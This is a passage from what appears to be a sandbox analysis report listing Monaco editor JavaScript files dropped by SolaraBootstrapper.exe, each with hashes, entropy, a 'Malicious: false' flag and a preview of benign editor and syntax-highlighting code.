Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/language/typescript/tsMode", ["require","require"],(require)=>{.var moduleExports=(()=>{var ee=Object.create;var I=Object.defineProperty;var te=Object.getOwnPropertyDescriptor;var ie=Object.getOwnPropertyNames;var re=Object.getPrototypeOf,se=Object.prototype.hasOwnProperty;var ne=(s,e,t)=>e in s?I(s,e,{enumerable:!0,configurable:!0,writable:!0,value:t}):s[e]=t;var $=(s=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(s,{get:(e,t)=>(typeof require!="undefined"?require:e)[t]}):s)(function(s){if(typeof require!="undefined")return require.apply(this,arguments);th

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\language\typescript\tsWorker.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (19820)
Category:	dropped
Size (bytes):	4602226
Entropy (8bit):	5.442770071598513
Encrypted:	false
SSDEEP:	49152:fIxqCQX8aby5XNtwJnnOidxPqmuCGCI22F6qWBxzpBYJvmFYH2ydMeplh/Av3qBv:gxqCW8MjPqw0R
MD5:	BFDDF2CF657E191A9899AA9EC2CCECD5
SHA1:	9083345F041A4DFE01A1D800C9D2C34460D4BC1F
SHA-256:	CA6E2BDB4F8DD9A39E2B9EA3336AB98B3B46DF5803053BA658DB3E862CEB18B0
SHA-512:	AB186ED59B7F9647875F3418782334178BC212A4B1177921D7951E740DBB888766202339B4BC8F592784C71AC130381BA9D3AD3B37BB7BC888E29B323742CC26
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/language/typescript/tsWorker", ["require","require"],(require)=>{.var moduleExports=(()=>{var rae=Object.defineProperty;var hit=Object.getOwnPropertyDescriptor;var git=Object.getOwnPropertyNames;var yit=Object.prototype.hasOwnProperty;var hke=(lp,ti)=>{for(var gt in ti)rae(lp,gt,{get:ti[gt],enumerable:!0})},vit=(lp,ti,gt,hs)=>{if(ti&&typeof ti=="object"\|\|typeof ti=="function")for(let Mo of git(ti))!yit.call(lp,Mo)&&Mo!==gt&&rae(lp,Mo,{get:()=>ti[Mo],enumerable:!(hs=hit(ti,Mo))\|\|hs.enumerable});return lp};var bit=lp=>vit(rae({},"__esModule",{value:!0}),lp);var kit={};hke(kit,{TypeScr

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\loader.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (11118)
Category:	dropped
Size (bytes):	30051
Entropy (8bit):	5.29773768316631
Encrypted:	false
SSDEEP:	768:mmJlCRErW8SKOdbD1dbftEDRalnTQIAZHQAn+9OtNvTQ2knuKn6GB1oZmbCJoV1Q:Vw/8chlTxN6emORWd3
MD5:	C5FA9066F8224F11B43AA4308668EB94
SHA1:	01A7D50BF8467937DD2AFEB39E061439472BB4E1
SHA-256:	EFFAB18AFBB4297A23D9D98BE95672E4088C735A0677993C329CF29B48914AED
SHA-512:	07EC139827E1684C54E109F9D592BE7281DB97ABB59558332D2801A59022AAE9C18BFD746CB58865F31FEA2501CC5FC6B9DF671347C2C661502385FF31F362F7
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/const _amdLoaderGlobal=this,_commonjsGlobal=typeof global=="object"?global:{};var AMDLoader;(function(u){u.global=_amdLoaderGlobal;class y{get isWindows(){return this._detect(),this._isWindows}get isNode(){return this._detect(),this._isNode}get isElectronRenderer(){return this._detect(),this._isElectronRenderer}get isWebWorker(){return this._detect(),this._isWebWorker}get isElectronNodeIntegrationWebWorker(){return this._detect(),this._isElectronNodeIntegrationWebWorker}constructor(){this._detected=!1,this._isWindows=!1,this._isNode=!1,this._isElectronRenderer=!1,this._isWebWorker=!1,this._isElectronNodeIntegrationWebWorker=!1}_detect()

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\base\worker\workermain.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1024)
Category:	dropped
Size (bytes):	153173
Entropy (8bit):	5.34638278499734
Encrypted:	false
SSDEEP:	1536:XNSxrkwnz+dTHHfvYYdBwDZ2Ogvh52xgh2hQXIvTBaB7hU74Yc6aphU1PblosJEl:XzdTagJkb+6jFlJJEt9yjjTCD2zw
MD5:	27EAD90C7702154755785E0E53398755
SHA1:	86B59485FE6F6CCB1805183FA75062A2AC1C859E
SHA-256:	BDF9433692A08851E13DD58504EEF19F51BD2EC7241923A68EDF5772E0E53AF5
SHA-512:	6829681575179C90BB7817B17FEEE60E7D44D8ABB15264AB39D7F0EDF95DD1D030B99C12B005C753CD786C26CE6F17FF09B058C16F3363596F785E386EF78E82
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.(function(){.var e=["exports","require","vs/editor/common/core/position","vs/base/common/winjs.base","vs/base/common/errors","vs/base/common/platform","vs/base/common/uri","vs/editor/common/core/range","vs/editor/common/core/uint","vs/base/common/event","vs/base/common/lifecycle","vs/base/common/cancellation","vs/base/common/functional","vs/base/common/diff/diff","vs/base/common/async","vs/base/common/map","vs/base/common/strings","vs/editor/common/model/mirrorTextModel","vs/base/common/linkedList","vs/base/common/keyCodes","vs/editor/common/core/selection","vs/editor/common/core/token","vs/base/common/diff/diffChange","vs/editor/common/core/char

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\bat\bat.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1818)
Category:	dropped
Size (bytes):	2225
Entropy (8bit):	5.391520648341645
Encrypted:	false
SSDEEP:	48:hFDMgRs/i4+GK5w0V1+T01+BueGB3j4ly0/eX1HroHrb4rHK9mIP1HWm:hFDMgRsk/vV1+I1+oB3j4ly0/YNrarkO
MD5:	4CB475399C4490EEA41982DCD6D9653E
SHA1:	FC97D57206FF7FA1C89FF0FC9F6E2F04A20EA185
SHA-256:	9BCA42394FE8922FEC24B768EEB8CE04692DE6FAD82F9052D5B7E70F5C6B0F40
SHA-512:	27EEFE83CF38A7D784414D99B472F6FCD7E595691EB0F368254BA1F71AAF702840B62BF232C30C515A8FADA234699FEFEEF496C0C24669CC158CB567227E4783
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/bat/bat",["require","exports"],function(e,s){"use strict";Object.defineProperty(s,"__esModule",{value:!0}),s.conf={comments:{lineComment:"REM"},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'}],surroundingPairs:[{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'}],folding:{markers:{start:new RegExp("^\\s(::\\s\|REM\\s+)#region"),end:new RegExp("^\\s(::\\s\|REM\\s+)#endregion")}}},s.language={defaultToken:"",ignoreCase:!0,tokenPostfix:".bat",brackets:[{tok

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\coffee\coffee.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3569)
Category:	dropped
Size (bytes):	3976
Entropy (8bit):	5.237312517263243
Encrypted:	false
SSDEEP:	96:hFDMgRspI0xqmV1+/0V1+/Lq1S8YLYGbSiv5vjmtMzkJgd+fcAr6fPlW:hZaqixziiihjmtykJbcAr6fc
MD5:	9D0C4AC1691EED0A480C3E9246490D29
SHA1:	38258864FD070C35CEC6B68715D58771DF9FE3E1
SHA-256:	E706C9F8E5C5A0CB01B2F4E4879EC34A050D6EB2A8840284EB7BADD9D78099F9
SHA-512:	437A703607A9F0CB96FFB56312D149B95F596290591D14098C36D978B2E1FDBA3C3712C9099923BC0A709C5C0EBD7EEA868F63DFBCC69CDF5A9325B8A67006B6
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/coffee/coffee",["require","exports"],function(e,r){"use strict";Object.defineProperty(r,"__esModule",{value:!0}),r.conf={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\@\#%\^\&\*\=\$\-\+\[\{\]\}\\\\|\;\:\'\"\,\.\<\>\/\?\s]+)/g,comments:{blockComment:["###","###"],lineComment:"#"},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],fo

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\cpp\cpp.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (5095)
Category:	dropped
Size (bytes):	5502
Entropy (8bit):	5.170848003102142
Encrypted:	false
SSDEEP:	96:hFDMgRs/rbV1+gqVV1+/LVb9ZRC2seM6jjz13MwVcEghhb6Yw76wGcmvRBNIs:hZGrTOcVv5M61h8hSeiYL
MD5:	0A16509E6CD0155FB622E785CFE976C7
SHA1:	7AFA7F823191C43D7A4BDD7D91577495DE62C21A
SHA-256:	A7C2BEA7CA3D9E203A3A286735945FE010C8F4F8D46620386EE8BEFC6A78B32B
SHA-512:	2CBC48CB10C467561C6A84F59405E9C2F864640B3A21E6FE5CD14AD1A7CA5667B766B3C0511DF26F28205DD17338A878BD1164A4F5875235A73214F3E4AEB49D
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/cpp/cpp",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={comments:{lineComment:"//",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"[",close:"]"},{open:"{",close:"}"},{open:"(",close:")"},{open:"'",close:"'",notIn:["string","comment"]},{open:'"',close:'"',notIn:["string"]}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],folding:{markers:{start:new RegExp("^\\s*#pragma\\s+region\\b"),e

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\csharp\csharp.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (4514)
Category:	dropped
Size (bytes):	4921
Entropy (8bit):	5.140618669527192
Encrypted:	false
SSDEEP:	96:hFDMgRsVx+rbV1+gqGV1+hmQuq1cBh8b7gj8/pLxb6J994wGcKU7dYIkI:hZi+rTtPsRXpw9SiKUJGI
MD5:	F8F841D13C9220E15DCD6BC386B37BA2
SHA1:	2B8B7003820D19ED83AFDE98C845DB5E3D5753F8
SHA-256:	6B3BE9A86EE8E3202F51745D94D24CC1EEFBCF7D9E6D94FBAF70146B084E835F
SHA-512:	0B167865B8D7847792C80144E83BDF33655DB6ECC0934BB3290F8B5793FEE8168AEAF9D74B3541A9424C4F180AAD496C2D8710E3847A5BF9D4B2C960DDEA4AE5
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/csharp/csharp",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\#\$\%\^\&\\-\=\+\[\{\]\}\\\\|\;\:\'\"\,\.\<\>\/\?\s]+)/g,comments:{lineComment:"//",blockComment:["/","*/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:"'",close:"'",notIn:["string","comment"]},{open:'"',close:'"',notIn:["string","comment"]}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",clos

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\csp\csp.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1392)
Category:	dropped
Size (bytes):	1799
Entropy (8bit):	5.049655720842081
Encrypted:	false
SSDEEP:	24:hyiDMNbWRsIO3ymSh6pzPmbMjVS5u4334bdPRtZRXxFLMiqkvGbA:hFDMgRs/R06Veb64u43IbLRhFLYDbA
MD5:	22ADA25D590811DCFF4E5F5D698E583B
SHA1:	C43D4846967D5037EF05B102E49D1FBC54E45FBC
SHA-256:	4B5A5D7D50986B86B00833447E097C0F01A4388CE1765B48E7E371D06E3A4789
SHA-512:	C8373EA0B78114F82E8BF027473F72ADA0D8ACD51623152A0072111D8B3B7D5AC310A1CC510C4E4CD2E97A7686DB3C87B2DA675FC910898BD11108E4B50ED189
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/csp/csp",["require","exports"],function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.conf={brackets:[],autoClosingPairs:[],surroundingPairs:[]},e.language={keywords:[],typeKeywords:[],tokenPostfix:".csp",operators:[],symbols:/[=><!~?:&\|+\-*\/\^%]+/,escapes:/\\(?:[abfnrtv\\"']\|x[0-9A-Fa-f]{1,4}\|u[0-9A-Fa-f]{4}\|U[0-9A-Fa-f]{8})/,tokenizer:{root:[[/child-src/,"string.quote"],[/connect-src/,"string.quote"],[/default-src/,"string.quote"],[/font-src/,"string.quote"],[/frame-src/,"string.quote"],[/img-src/,"string.quote"],[/manifest-src/,"stri

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\css\css.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (4462)
Category:	dropped
Size (bytes):	4869
Entropy (8bit):	5.173250596089998
Encrypted:	false
SSDEEP:	96:hFDMgRsozIq+q17qcq6V1+/aMj1cqTroIrqjKf8O3lzXY0Jc:hZzzv9VmjoOf8O39XbJc
MD5:	49AD30F1151CFD7A74677FDC6DD13DA9
SHA1:	286D47F0A4CFA26DA2E4D1F1317A8C87000BB5FC
SHA-256:	BD331FD3BD2C37B0C3150035325F163AC9266BF6D942310764815E676D856D91
SHA-512:	7337706BFD5BD54938DA0FBA35E97F8E5780491C04B58D43FC6D905BD2DCA92897F1ED8D48E42665F166DA7684CC6E29A63AE73F8D3779A9FEB97C397A642F0D
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/css/css",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.conf={wordPattern:/(#?-?\d\.\d\w%?)\|((::\|[@#.!:])?[\w-?]+%?)\|::\|[@#.!:]/g,comments:{blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}",notIn:["string","comment"]},{open:"[",close:"]",notIn:["string","comment"]},{open:"(",close:")",notIn:["string","comment"]},{open:'"',close:'"',notIn:["string","comment"]},{open:"'",close:"'",notIn:["string","comment"]}],surroundingPairs:[{open:"{",close:"}"},{open:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\dockerfile\dockerfile.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1982)
Category:	dropped
Size (bytes):	2389
Entropy (8bit):	5.339380212705139
Encrypted:	false
SSDEEP:	48:hFDMgRs/L+v0V1+/n0V1+/JmM7LSKoemBjrBdOuWI5w3I58ud:hFDMgRsS8V1+/0V1+/HKhRry3EEE80
MD5:	E32DE981BDAF75E6FFB8FE40BC955A68
SHA1:	BEF1AF7B26EA01C987C7A6295BB7192D83A32068
SHA-256:	65B86FC54E9B35D6CB84F01DFB905680DBCAD6605757DE1D6BCA84E3029889AF
SHA-512:	A3EADD8C1389DFF6C2C6E595EFFF69BE3A573D01E4E16B8E4A8B28F63E4C48C9C439B5DD93666D81D703D1C6B5BF927CC8E47D04AF270128095F0D579407C2F4
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/dockerfile/dockerfile",["require","exports"],function(e,s){"use strict";Object.defineProperty(s,"__esModule",{value:!0}),s.conf={brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}]},s.language={defaultToken:"",tokenPostfix:".dockerfile",instructions:/FROM\|MAINTAINER\|RUN\|EXPOSE\|ENV\|ADD\|ARG\|VOLUME\|LABEL\|USER\|WORKDIR\|COPY\|CMD\|STOP

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\fsharp\fsharp.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2924)
Category:	dropped
Size (bytes):	3331
Entropy (8bit):	5.199887618636656
Encrypted:	false
SSDEEP:	96:hFDMgRsTryV1+IV1+/PRdL4a5Ag7xwGGBdcl:hZ6rOjY7sgFaY
MD5:	DE122B3BC44A8714F386DC80282DCB12
SHA1:	06888A9B616993E9AF9797CEC64C6D419065F2CB
SHA-256:	1390079BABC117D3F376735780D98F409F317EB4628D17106642C6933EA1DA7F
SHA-512:	AB48F2E5BFA6EA0024530141BB5D35B9090EE0254A3E8F8B86FA36CC8C2FCA8000A3CAAFCFFFC1D83E21C488E1F1990C91F537290B54FBBCA1D3C7BE090DFBA5
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/fsharp/fsharp",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.conf={comments:{lineComment:"//",blockComment:["(",")"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],folding:{markers:{start:new RegExp("^\\s//\\s#region\\b\|^\\s\$\\\\s#region(.)\\\$"),end:new RegExp("^\\s//\\s*#end

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\go\go.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2628)
Category:	dropped
Size (bytes):	3035
Entropy (8bit):	5.201275188030444
Encrypted:	false
SSDEEP:	48:hFDMgRs/T2K5rDQ0V1+CnWn600V1+j/goO6LKMAnJILi/3+vb6jxF6WwGcuVOOvp:hFDMgRs7rbV1+OK6V1+j/o6LKMAnuLfm
MD5:	5B4484C914CD97AFF4510B803F2517EF
SHA1:	8F275AC36C57C4C464E30F92F525FFBD0FD436C6
SHA-256:	46D1757C3CD3DBC3C7B465A338880144922A1C34C30E36F06FF2DB8C2FF75B86
SHA-512:	B34C64F9997F4B72760ECA270D2A0C2E22D83467D3F0BC82E7C0E63D62D8F9D74A144A28D676A223CDEFEF417AF723801AC0535375D0DD64BB3A81E87617FED0
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/go/go",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.conf={comments:{lineComment:"//",blockComment:["/","/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:"`",close:"`",notIn:["string"]},{open:'"',close:'"',notIn:["string"]},{open:"'",close:"'",notIn:["string","comment"]}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:"`",close:"`"},{open:'"',close:'"'},{open:"'",close:"'"}]},n.langu

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\handlebars\handlebars.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (6121)
Category:	dropped
Size (bytes):	6528
Entropy (8bit):	5.291705997818562
Encrypted:	false
SSDEEP:	96:hFDMgRspITV1+/I/+B1BerJzlWK2BZwIBTIwbcdg6EHpf4Og6E8S6g6EB+FpAjE3:hZhbYbQRld2BZ1O0p4OE60+dMZLDs
MD5:	3CA7CF83292B56444548F2914C0E1811
SHA1:	4BE5B1ADAA187D82A94967E6960D811ACD700B93
SHA-256:	31D25588D120E7C79F3332FF3B3C794CEBD0554C7578E3BB37B3CAC366E4F6C2
SHA-512:	2D337B64DEF0D42F8BD6476CF31E806F67F77D26C95C68E75574FC310F7974852A810F8B197238559A2CB20D07914DE5844481477321CDCB2C68C47DA9088EB8
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/handlebars/handlebars",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n="undefined"==typeof monaco?self.monaco:monaco,a=["area","base","br","col","embed","hr","img","input","keygen","link","menuitem","meta","param","source","track","wbr"];t.conf={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\@\$\^\&\*\=\+\[\{\]\}\\\\|\;\:\'\"\,\.\<\>\/\s]+)/g,comments:{blockComment:["{{!--","--}}"]},brackets:[["\x3c!--","--\x3e"],["<",">"],["{{","}}"],["{","}"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\html\html.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (4525)
Category:	dropped
Size (bytes):	4932
Entropy (8bit):	5.307991602842183
Encrypted:	false
SSDEEP:	96:hFDMgRsfInV1+/6mQVV1+HBwBRl0GSytHd6EHaK4T6Ef6EByyEhcKMgEQEJWf:hZLP+4+GLl0GSytHLaK4ccKM2
MD5:	630FA41F59A189AED68B4DB82559DE95
SHA1:	14A527D27240BA0EFFCFA43A5C46B9289E96B822
SHA-256:	C717AC0701D3B1E22DC52A0C53608214297E5FAB7BC7011CF4E964F2ECA9D62F
SHA-512:	E15C602788F13AFD1E19E5F82DE7A35EB9656950553BC3913205BA3E70DDF87199B7F9B358DB7B7704EFD3DC85029AD277692B6B84F5F549964B9DD7CCE1AD60
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/html/html",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n="undefined"==typeof monaco?self.monaco:monaco,i=["area","base","br","col","embed","hr","img","input","keygen","link","menuitem","meta","param","source","track","wbr"];t.conf={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\@\$\^\&\*\=\+\[\{\]\}\\\\|\;\:\'\"\,\.\<\>\/\s]+)/g,comments:{blockComment:["\x3c!--","--\x3e"]},brackets:[["\x3c!--","--\x3e"],["<",">"],["{","}"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\ini\ini.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1074)
Category:	dropped
Size (bytes):	1481
Entropy (8bit):	5.244494288608599
Encrypted:	false
SSDEEP:	24:hyiDMNbWRsIO3Sm6bTK5e+emh0V1+/n0V1+/VDnVx7sMRLk6swZ:hFDMgRs/x2K5eu0V1+/n0V1+/FB60Z
MD5:	B9252B74381FE17565D494711F4C9093
SHA1:	9ED6A00A166C0B5ABDBB3EA45FA7DF3A5DEFC8EE
SHA-256:	1F0FEEAE58C32F6E1F31B78F7E2AAB3C91DA387E464234C0F55EBFF0E77444A2
SHA-512:	2FE594DE8AC3444223EDC011CBD7F08A6F8AB2DE2BF56919C2D6F1208E22391652D14549C3822C21C4999139FFCE711FDBF00725E95AA01068BF5F223C3B8710
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-languages version: 1.3.1(1119ababe841a89731059c9bd9522fc59d70f6cb). * Released under the MIT license. * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/basic-languages/ini/ini",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.conf={comments:{lineComment:"#"},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"}]},n.language={defaultToken:"",tokenPostfix:".ini",escapes:/\\(?:[abfnrtv\\"']\|x[0-9A-Fa-f]{1,4}\|u[0-9A-Fa-f]{4}\|U[0-9A-Fa-f]{8})/,tokeni

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\basic-languages\java\java.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2944)
Category:	dropped
Size (bytes):	3351
Entropy (8bit):	5.320655556349641
Encrypted:	false
SSDEEP:	96:hFDMgRsXx+rbV1+/0V1+/mQwZ4Sgbhb6ag71wGcLRWG:hZw+rTx1iSgb8ZiLx
MD5:	826546E08F178D68E8AA2AB29194C03A
SHA1:	444ED723CADC4231F2DCE5C54597FA8558893D12
SHA-256:	44BE702CAE05D5844DC1C452F9BD94020007B9E543A765DB4E6649278607D218
SHA-512:	8EDB46EEFAA3277374BA5DC656423115735573A57E82002745CE6112F666079D6AB7D9B5A79ED208FF51487E9EC2B757C45EC1B3C8119D8CBCD4F7CD30347EF9
Malicious:	false
